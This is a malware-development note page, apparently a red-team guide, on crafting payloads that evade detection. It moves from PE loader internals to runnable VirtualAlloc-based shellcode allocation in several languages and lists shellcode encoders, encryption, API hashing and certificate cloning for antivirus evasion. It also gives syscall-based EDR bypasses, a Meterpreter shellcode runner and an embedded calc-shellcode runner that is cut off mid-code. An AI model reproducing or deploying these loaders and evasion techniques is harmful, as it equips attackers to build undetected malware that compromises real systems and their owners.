
Malware Development
Here We Will Discuss Malware Development Basics And How Attackers/Red Teamers Could Craft Full Undetected Payloads And Much Resources You could Follow to monitor Last changes on that field
by @0xbugatti
Basics & Introduction
Portable Executable PE
-
Notes
- Executable files are loaded into the address space of a process using a memory mapped image file
- format is a file format for executables ,object code, DLLs Files
- The PE format is a data structure that encapsulates the information make
-
Windows OS loader
- manage the manage the wrapped executable code
- Map (Load) it in the memory as a process By Dynamic Linker
-
EXE [Program can be laoded in the memory as Independant Process]
- Full Abstraction
- Small Abstraction
- Full Abstraction
-
Components
- Headers
- dynamic library references for linking
- API export and import table import address table (IAT) 1. used as a lookup table when the application is calling a function in a different module(DLL). 2. can be in the form of both import by ordinal and import by name 3. dynamic linker loads modules joins them together writes actual addresses into the IAT slots, so that they point to the memory locations of the corresponding library functions.
- Sectinosdifferent regions, each of which require different memory protection
- Help Dynamic Linker To Map Process in Memory
- the start of each section must be aligned to a page boundary
- start of each section must be aligned to a page boundary]
- .text [Code] R|X
- .data [Global Variables] NX|W|R
- .rsrc [Pictures -Icons - Manifest - ShellCode - Another PE(DLL|EXE)]
- Native : OS Loader Called Main Function
- .NET: CLR Run Directly Main Function From the Class because it is static
- .NET, metadata, and the PE format > .Net Execcutables Breif the PE code section contains a stub that invokes the [CLR]virtual machine startup entry,
_CorExeMain
or_CorDllMain
inmscoree.dll
, - The virtual machine then makes use of .NET metadata in reflection
- The CLR-related data, including the root structure itself, is typically contained in the common code section,
.text
. It is composed of a few directories: metadata, embedded resources, strong names and a few for native-code interoperability. Metadata directory is a set of tables
-
DLL [Libraries] [PE Modules Loaded to existing Process and Cant Run Independantlly in Memory]
OS Loader Created Process In memory and This Process needs Dll
- Loader Reads Dll From the Disk
- Reserve Some Memory Space(Buffer) in Target Process
- Loads Dll in the Space
- Called DLL Entry Point (DLLMain) which intialize Library
- Loader Import Needed Dll-Exported Functions by process From From Memory Space
Loading Steps In Details How OS Loader Identify Imported Functions
ImportAdressTable IAT Headers Passed From IMAGE_IMPORT_DESCRIPTOR in Exe to Loader to Identify Needed Functions
typedef struct _IMAGE_IMPORT_DESCRIPTOR{
union{ DWORD *Characteristics;
DWORD OriginalFirstThunk;
//Pointer To to Import Lookup Table(Array) [Drawing is False]
}
XXXenjaDUmmyName;
DWORD TimeDataStamp;
DWORD ForawrdedChain; //The index of the first forwarder chain reference
DWORD *Name; //const Pointer to char (string) to Dll Name
DWORD* FirstThunk; //Pointer to Import Address Table(Array) RVA
}IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
Steps of Function Importing
Tables
Import Address Table | Hint/NameTable | Import Lookup Table |
---|---|---|
Table to Store Addresses of Called Functions After Loading by OS Loader | Table Contain 1.Called Function Hint (Index of it in EAT) 2.Called Function Name | Table Pointes to Hint/Name Table Elemets sells the loaderwhich functions are needed from the imported DLL |
- OS Loader Get the
Name
of Dll Like examp32.dll - OSLoader Load Library to the Process Memory
- OS Loader Start Parce Export Table Depends on The ILT (Import LookUp Table) Information
- First OSLoader Search The Called Function By Index Like: 30 to get its RVA From EAT
calling By Ordinary Number Method
- Then if it Failed search by Function Name Like: FuncEX
Calling By Name Method
For Performance Enhancing - OS Loader Store The Got RVA like
0xffe42a2c
from EAT in IAT [Import Address Table] What is EAT? How OS Loader Find Addresses of Imported Functions?How Is The Searching Done? ##### ExportAdressTable EAT Headers Passed From IMAGE_EXPORT_DIRECTORY Struct in Dll which needed by Loader
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDataStamp;
WORD MajorVersion;
WORD MinorVerion;
DWORD Name; //const Pointer to char (string) to Dll Name
DWORD Base; //First Ordinal Number
DWORD NumberOfFunctions;//Number ofElements in EAT (Size)
DWORD NumberOfNames;//Number Of all Function Names mesuared From
DWORD AddressOfFunctions[]; //Export Address Table(Array)[EAT] [Function Addresses]
DWORD AddressOfNames[];//Array of const Pointers to char (strings) to Names Function in EAT
DWORD AddressOfNameOrdinals[]; //Array of indexes to EAT (Const Order)(Ordinal as String) (Function called By Ordinal)
}IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Steps of Function Address Importing From Export Table
Calling Function By Name Let Suppose That we Need To Call Dll-Exported Function (“Name4”)
- OS Loader Fetch all AddressofNames[]
- Compare Every Name to th Target Function Name Name4 Until it is Found
- Now We Have The Index of Element Contain FoundName in The AddressofNames[] array
- Go to The Same Index in AddressOfNameOrdinals[] array to Some Value in This Index
- Founded Value is The Index of Elment Contain Target Function Address “Name4” RVA (Relative Virtual Address) in AddressOfFunctions[] EAT
- We Go to the AddressOfFunctions[] EAT and Get Value in Elment which index we determined and this Value is like
0xaf474e55a
RVA (Relative Virtual Address) of Function
Calling Function By Ordinal Number Let Suppose That we Need To Call Function (2)
- OS Loader Fetch Base Number of Dll From Export Directory
- Substruct Ordinal Number 2 From Base Number
- Result is Index of Elment Contain Target Function Address 2 RVA (Relative Virtual Address) in AddressOfFunctions[] EAT array
- We Go to the AddressOfFunctions[] EAT and Get Value in Elment which index we determined and this Value is like
0xaf474e55a
RVA (Relative Virtual Address) of Function
Forwarding
- Some Functions in High Address Memory Region or takes small reserved size
- its actually note coded its just a string value in .rdata section
AcquireSRWLockShared.NTDLL.RtlAcquireSRWLockShared
- which is Do Forwarding Operation For this Function Calling to Be Called From another Dll
Windows APIs
Group of Dynamic Libraries Dlls Allow Developers To Handle Windows OS
-
GUI Functionalities
-
Dealing with Kernel
-
Windows Internals
-
VirtualAlloc
Reserves|changes the state of a region of pages in the virtual address space of the process which calling it Memory allocated by this function is automatically initialized to zeros
Parameter | Data Type | Functionality | Value | Reson |
---|---|---|---|---|
lpAddress | LPVOID IntPtr | Address To Start Allocating | 0 | AutoSelection |
dwsize | SIZE_T uint | Size Of Allocated Memory | ShellCodeSize | |
fAllocationTyoe | DWORD uint | Allocation State | 0x1000 | 0x2000 |
flProtect | DWORD uint | PermissionsProtections | 0x04 | EXEC,READ,WRITE |
Returned Value | Returned DataType |
---|---|
Base address of the allocated region | LPVOID IntPtr |
- C#
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling=true)]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);IntPtrShellCodeAddr=VirtualAlloc(IntPtr.Zero(uint)shellcodeBytes.Length,0x1000,0x40);
- C++ DirectCall
void* exec_mem = VirtualAlloc(0, payload_len, 0x1000 | 0x2000, 0x04);
- C++ Runtime
VirtualAllocRunTimeFunction HookedVirtualAlloc = (VirtualAllocRunTimeFunction)GetProcAddress(LoadLibrary(L"kernel32.dll"), "VirtualAlloc");void* exec_mem = HookedVirtualAlloc(0, payload_len, 0x1000|0x2000, 0x04);
- VB
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32.dll" _ (ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
- C# Runtime
```csharp
[DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")] static extern IntPtr LoadLibrary(string dllName);
[UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
IntPtr hKernel32 = LoadLibrary("kernel32.dll");
IntPtr VirtualAllocptr = GetProcAddress(hKernel32, "VirtualAlloc");
VirtualAllocDelegate VirtualAlloc_Runtime = (VirtualAllocDelegate) Marshal.GetDelegateForFunctionPointer(VirtualAllocptr, typeof (VirtualAllocDelegate));
IntPtr ShellCodeAddr = VirtualAlloc_Runtime(IntPtr.Zero, (uint) shellcodeBytes.Length, 0x1000, 0x40);
[DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")] static extern IntPtr LoadLibrary(string dllName);
[UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
IntPtr hKernel32 = LoadLibrary("kernel32.dll");
IntPtr VirtualAllocptr = GetProcAddress(hKernel32, "VirtualAlloc");
VirtualAllocDelegate VirtualAlloc_Runtime = (VirtualAllocDelegate) Marshal.GetDelegateForFunctionPointer(VirtualAllocptr, typeof (VirtualAllocDelegate));
IntPtr ShellCodeAddr = VirtualAlloc_Runtime(IntPtr.Zero, (uint) shellcodeBytes.Length, 0x1000, 0x40);
- PowerShell Runtime
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null,@(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType {
Param ([Parameter(Position = 0, Mandatory = $True)]
[Type[]] $func, [Parameter(Position = 1)]
[Type] $delType = [Void])$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])$type.DefineConstructor('RTSpecialName,HideBySig,Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')$type.DefineMethod('Invoke', 'Public, HideBySig,NewSlot,Virtual',$delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$lpMem =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
Offensive Programming
C#
VBA
C++ Coming Soon from me
Shell Code
Shellcode Hiding
-
Shellcode stored in resources
-
LI Encoders vs LD Encoders
I will start differentiating between what I call loader-independent (LI) encoding, and loader-dependent (LD) encoding.
Loader-independent encoding is a type of encoding not managed by the template chosen by the user (loader). This usually means that the decoding stub is not part of the template, but embedded in the shellcode itself. Inceptor offers this kind of feature using the open-source tool sgn, which is used to make the payload polymorphic and undetectable using common signature detection.
Even strong at it is, Shikata-Ga-Nai is not really suitable for certain templates. For this reason, Inceptor also implements Loader-dependent encoders, which are designed to let the loader taking care of the decoding. As such, LD encoders install the decoding stub directly in the template. This kind of encoders, as implemented within Inceptor, are also “Chainable”, meaning they can be chained together to encode a payload.
While using a chain of encoders can sometimes improve the obfuscation of a given payload, this technique can also expose multiple decoding routines, which can help Defenders to design signatures against them. For this reason, Inceptor offers multiple ways to obfuscate the final artifacts, hardening the RE process.
At the time of writing, the public version of Inceptor has been provided with the following encoders/compressors/encryptors:
- ID #ShellCode_Generator
- x64/xor
- x64/xor_context
- x64/xor_dynamic
- x64/zutto_dekiru
- x86/add_sub
- x86/alpha_mixed
- x86/alpha_upper
- x86/avoid_underscore_tolower manual
- x86/avoid_utf8_tolower
- x86/bloxor - x86/bmp_polyglot
- x86/call4_dword_xor
- x86/context_cpuid
- x86/context_stat
- x86/context_time
- x86/countdown
- x86/fnstenv_mov
- x86/jmp_call_additive
- x86/nonalpha
- x86/nonupper
- x86/opt_sub
- x86/service
- x86/shikata_ga_nai
- x86/single_static_bit
- x86/unicode_mixed
- x86/unicode_upper
- x86/xor_dynamic
- LD - Encryption #Key
- DES
- AES
- rc4
- Ceaser (XOR With Key not 0)
- Multiple Encoding - base64 - XOR - etc….
- ID #ShellCode_Generator
-
API Hashing
- *https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection
- *https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
- https://github.com/embee-research/APIHashReplace
- https://github.com/helpsystems/nanodump/blob/main/scripts/randomize_sw2_seed.py
-
Packing
-
Packers
-
Power Shell
-
C#
-
Python
-
C/C++
-
-
Code Signing
code sign the binary/dll by using the tool CarbonCopy Usually, files signed with code signing certificates are less strictly analysed. Many anti-malware products don’t validate/verify these certificates
-
Shellcode Transformation/Loaders
- Donut: Donut is “The Converter”. This tool is more like a piece of art by TheWover, and can be used to transform Native binaries, DLL, and .Net binaries into position independent code shellcode.
- sRDI: By Monoxgas, this tool can convert existing naticcve DLL into PIC, which can then be injected as regular shellcode.
- Pe2Sh: By Hasherazade, this tool can convert an existing native EXE into PIC shellcode, which can also be run as a normal EXE.
Shell Code Execution
https://ppn.snovvcrash.rocks/red-team/maldev/code-injection/shellcode-runners
-
Using SysCalls
#Links-
Syscalls
WinAPIs can be replaced with SysCalls (Implementing The Function instead of Using it From Its DLL) this Implementinf can Be automated through various tools (syswesphire2|3, sharpcaller) - https://github.com/jhalon/SharpCall
- https://jhalon.github.io/utilizing-syscalls-in-csharp-1/
- https://jhalon.github.io/utilizing-syscalls-in-csharp-2/
- https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions
- https://www.solomonsklash.io/syscalls-for-shellcode-injection.html
- https://github.com/SolomonSklash/SyscallPOC/tree/master/Win32-Injector/Syscall
- https://redops.at/en/blog/def-con-31-red-team-village
- https://redops.at/en/blog/shell-we-assemble-unleashing-x86-inline-assembly-for-shellcode-execution
- https://malwareunicorn.org/workshops/re101.html#4
- *https://alice.climent-pommeret.red/posts/a-syscall-journey-in-the-windows-kernel/
- *https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/
- *https://jmpesp.me/malware-analysis-syscalls-example/
- *https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/
- https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs [Visual studio + Syscalls]
- https://medium.com/@merasor07/av-edr-evasion-using-direct-system-calls-user-mode-vs-kernel-mode-fad2fdfed01a
- https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
-
Automation
- SysWhispers
- Windows Only
- x64 Only
- EXE Only
- C++
- Visual studio ( GCC not Documented )
- Supported Functions
- NtCreateProcess (CreateProcess)
- NtCreateThreadEx (CreateRemoteThread)
- NtOpenProcess (OpenProcess)
- NtOpenThread (OpenThread)
- NtSuspendProcess
- NtSuspendThread (SuspendThread)
- NtResumeProcess
- NtResumeThread (ResumeThread)
- NtGetContextThread (GetThreadContext)
- NtSetContextThread (SetThreadContext)
- NtClose (CloseHandle)
- NtReadVirtualMemory (ReadProcessMemory)
- NtWriteVirtualMemory (WriteProcessMemory)
- NtAllocateVirtualMemory (VirtualAllocEx)
- NtProtectVirtualMemory (VirtualProtectEx)
- NtFreeVirtualMemory (VirtualFreeEx)
- NtQuerySystemInformation (GetSystemInfo)
- NtQueryDirectoryFile
- NtQueryInformationFile
- NtQueryInformationProcess
- NtQueryInformationThread
- NtCreateSection (CreateFileMapping)
- NtOpenSection
- NtMapViewOfSection
- NtUnmapViewOfSection
- NtAdjustPrivilegesToken (AdjustTokenPrivileges)
- NtDeviceIoControlFile (DeviceIoControl)
- NtQueueApcThread (QueueUserAPC)
- NtWaitForMultipleObjects (WaitForMultipleObjectsEx)
- SysWhispers2
- Windows Only
- x64 and x32
- EXE and DLLs
- C++
- Visual studio and GCC
- Supported Functions
- NtCreateProcess (CreateProcess)
- NtCreateThreadEx (CreateRemoteThread)
- NtOpenProcess (OpenProcess)
- NtOpenThread (OpenThread)
- NtSuspendProcess
- NtSuspendThread (SuspendThread)
- NtResumeProcess
- NtResumeThread (ResumeThread)
- NtGetContextThread (GetThreadContext)
- NtSetContextThread (SetThreadContext)
- NtClose (CloseHandle)
- NtReadVirtualMemory (ReadProcessMemory)
- NtWriteVirtualMemory (WriteProcessMemory)
- NtAllocateVirtualMemory (VirtualAllocEx)
- NtProtectVirtualMemory (VirtualProtectEx)
- NtFreeVirtualMemory (VirtualFreeEx)
- NtQuerySystemInformation (GetSystemInfo)
- NtQueryDirectoryFile
- NtQueryInformationFile
- NtQueryInformationProcess
- NtQueryInformationThread
- NtCreateSection (CreateFileMapping)
- NtOpenSection
- NtMapViewOfSection
- NtUnmapViewOfSection
- NtAdjustPrivilegesToken (AdjustTokenPrivileges)
- NtDeviceIoControlFile (DeviceIoControl)
- NtQueueApcThread (QueueUserAPC)
- NtWaitForMultipleObjects (WaitForMultipleObjectsEx)
- SysWhispers3
- Windows and Linux
- x64 and x32
- EXE Only
- C++
- GCC and Make Files (msvc) > Automated
- Supported Functions
- NtCreateProcess (CreateProcess)
- NtCreateThreadEx (CreateRemoteThread)
- NtOpenProcess (OpenProcess)
- NtOpenThread (OpenThread)
- NtSuspendProcess
- NtSuspendThread (SuspendThread)
- NtResumeProcess
- NtResumeThread (ResumeThread)
- NtGetContextThread (GetThreadContext)
- NtSetContextThread (SetThreadContext)
- NtClose (CloseHandle)
- NtReadVirtualMemory (ReadProcessMemory)
- NtWriteVirtualMemory (WriteProcessMemory)
- NtAllocateVirtualMemory (VirtualAllocEx)
- NtProtectVirtualMemory (VirtualProtectEx)
- NtFreeVirtualMemory (VirtualFreeEx)
- NtQuerySystemInformation (GetSystemInfo)
- NtQueryDirectoryFile
- NtQueryInformationFile
- NtQueryInformationProcess
- NtQueryInformationThread
- NtCreateSection (CreateFileMapping)
- NtOpenSection
- NtMapViewOfSection
- NtUnmapViewOfSection
- NtAdjustPrivilegesToken (AdjustTokenPrivileges)
- NtDeviceIoControlFile (DeviceIoControl)
- NtQueueApcThread (QueueUserAPC)
- NtWaitForMultipleObjects (WaitForMultipleObjectsEx)
- SharpWhispers
- Windows Only
- x64 Only
- EXE and DLLs (.NET) (Managed)
- C#
- Visual studio Documented
- Supported Functions
- NtAdjustPrivilegesToken
- NtAllocateVirtualMemory
- NtClose
- NtCreateProcess
- NtCreateSection
- NtCreateThreadEx
- NtDeviceIoControlFile
- NtFreeVirtualMemory
- NtGetContextThread
- NtMapViewOfSection
- NtOpenFile
- NtOpenProcess
- NtOpenProcessToken
- NtOpenSection
- NtOpenThread
- NtProtectVirtualMemory
- NtQueryDirectoryFile
- NtQueryInformationFile
- NtQueryInformationProcess
- NtQueryInformationThread
- NtQuerySystemInformation
- NtQueryVirtualMemory
- NtQueueApcThread
- NtReadVirtualMemory
- NtResumeProcess
- NtResumeThread
- NtSetContextThread
- NtSuspendProcess
- NtSuspendThread
- NtTestAlert
- NtUnmapViewOfSection
- NtWaitForMultipleObjects
- NtWriteVirtualMemory
- SysWhispers
#include "pch.h" #include <Windows.h> #include "winternl.h" #pragma comment(lib, "ntdll") //https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs EXTERN_C NTSTATUS SysNtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); int main() { FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile"); OBJECT_ATTRIBUTES oa; HANDLE fileHandle = NULL; NTSTATUS status = NULL; UNICODE_STRING fileName; I O_STATUS_BLOCK osb; RtlInitUnicodeString(&fileName, (PCWSTR) L "\\??\\c:\\temp\\test.txt"); ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK)); InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL); SysNtCreateFile(&fileHandle, FILE_GENERIC_WRITE, &oa, &osb, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); return 0; }
#include <iostream> #include <Windows.h> #include "syscalls.h" int main() { // Insert Meterpreter shellcode unsigned char code[] = "\xa6\x12\xd9..."; LPVOID allocation_start; SIZE_T allocation_size = sizeof(code); HANDLE hThread; NTSTATUS status; allocation_start = nullptr; // Allocate Virtual Memory NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Copy shellcode into allocated memory NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, code, sizeof(code), 0); // Execute shellcode in memory NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL); // Wait for the end of the thread and close the handle NtWaitForSingleObject(hThread, FALSE, NULL); NtClose(hThread); return 0; }
//file.h #pragma once // Code below is adapted from @modexpblog. Read linked article for more details. // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams #ifndef SW2_HEADER_H_ #define SW2_HEADER_H_ #include <windows.h> #define SW2_SEED 0xA5A7F756 #define SW2_ROL8(v) (v << 8 | v >> 24) #define SW2_ROR8(v) (v >> 8 | v << 24) #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v)) #define SW2_MAX_ENTRIES 500 #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) // Typedefs are prefixed to avoid pollution. typedef struct _SW2_SYSCALL_ENTRY { DWORD Hash; DWORD Address; } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY; typedef struct _SW2_SYSCALL_LIST { DWORD Count; SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES]; } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST; typedef struct _SW2_PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA; typedef struct _SW2_LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY; typedef struct _SW2_PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PSW2_PEB_LDR_DATA Ldr; } SW2_PEB, *PSW2_PEB; DWORD SW2_HashSyscall(PCSTR FunctionName); BOOL SW2_PopulateSyscallList(void); EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash); #ifndef InitializeObjectAttributes #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } #endif typedef struct _PS_ATTRIBUTE { ULONG Attribute; SIZE_T Size; union { ULONG Value; PVOID ValuePtr; } u1; PSIZE_T ReturnLength; } PS_ATTRIBUTE, *PPS_ATTRIBUTE; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef struct _PS_ATTRIBUTE_LIST { SIZE_T TotalLength; PS_ATTRIBUTE Attributes[1]; } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; EXTERN_C NTSTATUS NtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID * BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect); EXTERN_C NTSTATUS NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL); EXTERN_C NTSTATUS NtCreateThreadEx( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); EXTERN_C NTSTATUS NtWaitForSingleObject( IN HANDLE ObjectHandle, IN BOOLEAN Alertable, IN PLARGE_INTEGER TimeOut OPTIONAL); EXTERN_C NTSTATUS NtClose( IN HANDLE Handle); EXTERN_C NTSTATUS NtFreeVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID * BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG FreeType); #endif
-
-
using EtwpCreateEtwThread
using System; using System.Diagnostics; using System.Runtime.InteropServices; namespace EtwpTest { class Program { static void Main(string[] args) { byte[] shellcode = { }; byte[] calc32bitShellCode = new byte[] { 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, 0x61,0x6c,0x63,0x00 }; byte[] calc64bitShellCode = new byte[] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00 }; if (IntPtr.Size 4) { shellcode = calc32bitShellCode; } else { shellcode = calc64bitShellCode; } IntPtr procHandle = Process.GetCurrentProcess().Handle; IntPtr allocMemAddress = VirtualAllocEx(procHandle, 